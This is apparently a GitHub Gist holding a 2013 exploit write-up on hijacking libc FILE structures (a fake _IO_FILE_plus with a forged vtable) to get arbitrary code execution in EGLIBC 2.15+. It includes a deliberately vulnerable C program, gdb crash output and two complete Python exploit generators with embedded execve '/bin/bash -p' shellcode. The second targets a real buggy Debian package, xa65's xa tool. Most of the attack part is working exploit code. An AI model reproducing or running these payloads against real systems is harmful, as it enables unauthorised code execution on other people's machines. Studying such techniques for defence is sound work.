-
-
Save neuromancer/a53891db0ac199f43a1a to your computer and use it in GitHub Desktop.
exploiting the f* functions (a.k.a. abusing file-streams in libc)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# # # | |
### # ## | |
##### exploiting the f* functions | |
############ (a.k.a. abusing file-streams in libc) | |
###### | |
## # ## | |
# | |
general information | |
------------------- | |
bug type : arbitrary code execution | |
software name : EGLIBC | |
version : 2.15 or greater | |
vendor : EGLIBC Consortium | |
vendor homepage : www.eglibc.org | |
software link : www.eglibc.org/repository | |
tested on : Debian Wheezy/Jessie/Sid, Arch Linux | |
authors : proudhon & Ubik | |
date : 2013-12-30 | |
description : The C programming language provides many standard library | |
functions for file input and output. C abstracts all file | |
operations into operations on streams of bytes. | |
disclaimer | |
--------- | |
all the information and code given in this document is provided "as is", | |
for educational purposes only. the authors will not be responsible for any | |
damage. | |
technical information | |
--------------------- | |
Have you ever wonder how to exploit this program: | |
//fputz.c | |
#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
static char out[512]; | |
static FILE *fp; | |
int main(int argc, char **argv) { | |
fp = stdout; | |
strcpy(out, argv[1]); | |
fputs(out, fp); | |
exit(0); | |
} | |
//EOF | |
If the binary is not fortified, an overflow is available as we can see: | |
$ gdb --args ./fputz $(python -c 'print "A"*1000') | |
... | |
Program received signal SIGSEGV, Segmentation fault. | |
__GI__IO_fputs (str=0x804a040 'A' <repeats 200 times>..., fp=0x41414141) at | |
How we can take advantage of the internal structure of the FILE objects from | |
libc to execute code? Well, first, we should redirect the fp pointer to | |
controllable memory. The perfect candidate for this is the 'out' buffer, since | |
its address is constant and we can fill it with plenty of (non-NULL) bytes. | |
--------------------------- | |
v | | |
[ out ] [ *fp ] | |
The second step requires us to check the FILE internals, to find out how we can | |
take advantage of FILE object. If we take a look to the libioP.h header, we | |
can find some juicy information on the internals of FILE, implemented using: | |
struct _IO_FILE_plus | |
{ | |
_IO_FILE file; | |
const struct _IO_jump_t *vtable; | |
}; | |
The vtable pointer is just what we need! This is not a new idea. | |
Some work was previously done on this by Kees Cook at: | |
http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ | |
Our plan to execute arbitrary code is to provide a pointer to a fake vtable. | |
But.. where we can store this vtable? Again, The perfect candidate for this is | |
the 'out' buffer. | |
---------------------- | |
v | | |
[ fake _IO_FILE? | *vtable ] | |
Obviously, this won't work if we don't define carefully the malicious | |
_IO_FILE_plus since the program will crash looking for pointer or enter in | |
deadlock. To avoid trouble, we should define the FILE flags with a value | |
that disables any lock operation on the FILE. Using gdb we can see that | |
the function _IO_flockfile is executed right before the vtable pointer is read | |
from memory. Such function checks the higher bit of the lower word of | |
the _flags field of IO_FILE. If the bit is set, then the file will not be | |
locked, as we can see here: | |
#define _IO_USER_LOCK 0x8000 | |
... | |
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp) | |
Finally, we control the bytes of the vtable the f* functions will use, so it's | |
time for the code execution!. Of course, we shouldn't forget the usual | |
protections as PAX, that we will disable since they are not related with | |
this simple technique to exploit FILE objects. | |
The final exploit can be generated using the following python script: | |
#!/usr/bin/env python2 | |
import sys | |
base = "\x08\x04\xa0" | |
offset = 0x40 | |
# fp: pointer to the beginning of the buffer | |
ptr = (base + chr(offset))[::-1] | |
# vtable: pointer to the address pointing to the shell-code | |
ptr2 = (base + chr(offset - 0x18))[::-1] | |
# pointer to the beginning of the shell-code | |
ptr3 = (base + chr(offset + 0x08))[::-1] | |
# non-null byte to pad | |
c = "\x01" | |
# _IO_FILE flags to avoid deadlocks | |
fl = c+"\x80" | |
# shell-code from http://packetstormsecurity.com/files/89203/ | |
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\ | |
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80" | |
exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 359 + ptr | |
print exp, | |
# EOF | |
"real-life" example | |
------------------- | |
Inside the xa65 package in Debian Wheezy/Jessie/Sid there is a small command | |
line tool called xa, a cross-assembler for 65xx/R65C02/65816, that we know that | |
is buggy: | |
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=716483 | |
so if we play a little with it: | |
$ gdb --args xa $(python -c 'print "A"*3000') | |
... | |
Couldn't open source file 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... | |
Program received signal SIGSEGV, Segmentation fault. | |
__GI__IO_fputs (str=0x8058440 "Couldn't open source file '", 'A' | |
<repeats 173 times>..., fp=0x41414141) at iofputs.c:40 | |
We can follow the same technique explained before to recreate our malicious | |
_IO_FILE_plus and to execute code. The final exploit is presented here: | |
#!/usr/bin/env python2 | |
import sys | |
base = "\x08\x05\x84" | |
offset = 0x5b | |
# fp: pointer to the beginning of the buffer | |
ptr = (base + chr(offset))[::-1] | |
# vtable: pointer to the address pointing to the shell-code | |
ptr2 = (base + chr(offset - 0x18))[::-1] | |
# pointer to the beginning of the shell-code | |
ptr3 = (base + chr(offset + 0x08))[::-1] | |
# non-null byte to pad | |
c = "\x01" | |
# _IO_FILE flags to avoid deadlocks | |
fl = c + "\xa0" | |
# shell-code from http://packetstormsecurity.com/files/89203 | |
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\ | |
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80" | |
exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 1880 + ptr | |
print exp, | |
# EOF | |
acknowledgements | |
---------------- | |
To guille for his help looking the libc source and to the Debian developers for | |
their highly inconsistent policy of compilation of packages with FORTIFY_SOURCE. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Fixed, thanks!